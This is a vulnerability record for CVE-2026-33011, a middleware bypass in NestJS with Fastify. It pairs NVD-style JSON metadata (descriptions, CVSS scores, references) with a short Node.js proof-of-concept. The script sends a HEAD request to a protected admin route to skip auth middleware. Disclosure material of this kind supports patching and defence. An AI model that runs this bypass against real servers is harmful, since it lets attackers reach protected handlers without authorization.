CVE-2026-33011

// Proof of Concept for CVE-2026-33011 // Demonstrates middleware bypass using HEAD method on NestJS (Fastify) const http = require('http'); const options = { hostname: 'localhost', port: 3000, path: '/admin/users', // A route protected by middleware (e.g., Auth Guard) method: 'HEAD' // Using HEAD triggers the bypass }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); // If vulnerable, status might be 200 (handler executed) but content-length is 0 // and the middleware (e.g., logging or auth check) was skipped. if (res.statusCode === 200) { console.log('Middleware bypassed! Handler executed without body.'); } }); req.on('error', (e) => { console.error(`Request error: ${e.message}`); }); req.end();

{"cve": {"id": "CVE-2026-33011", "sourceIdentifier": "[email protected]", "published": "2026-03-20T05:16:15.043", "lastModified": "2026-03-23T19:26:31.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nest is a framework for building scalable Node.js server-side applications. In versions 11.1.15 and below, a NestJS application using @nestjs/platform-fastify GET middleware can be bypassed because Fastify automatically redirects HEAD requests to the corresponding GET handlers (if they exist). As a result: middleware will be completely skipped, the HTTP response won't include a body (since the response is truncated when redirecting a HEAD request to a GET handler), and the actual handler will still be executed. This issue is fixed in version 11.1.16."}, {"lang": "es", "value": "Nest es un framework para construir aplicaciones escalables de servidor Node.js. En las versiones 11.1.15 e inferiores, una aplicación NestJS que utiliza el middleware GET de @nestjs/platform-fastify puede ser eludida porque Fastify redirige automáticamente las solicitudes HEAD a los gestores GET correspondientes (si existen). Como resultado: el middleware será completamente omitido, la respuesta HTTP no incluirá un cuerpo (ya que la respuesta se trunca al redirigir una solicitud HEAD a un gestor GET), y el gestor real seguirá ejecutándose. Este problema está solucionado en la versión 11.1.16."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-670"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nestjs:nest:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "11.1.16", "matchCriteriaId": "7E43F4FF-8FEF-415C-AF48-05E8CBDC4B56"}]}]}], "references": [{"url": "https://github.com/nestjs/nest/commit/cbdf737cd6e7cefa52d05ecea2ae4af95c464614", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nestjs/nest/releases/tag/v11.1.17", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nestjs/nest/security/advisories/GHSA-wf42-42fg-fg84", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}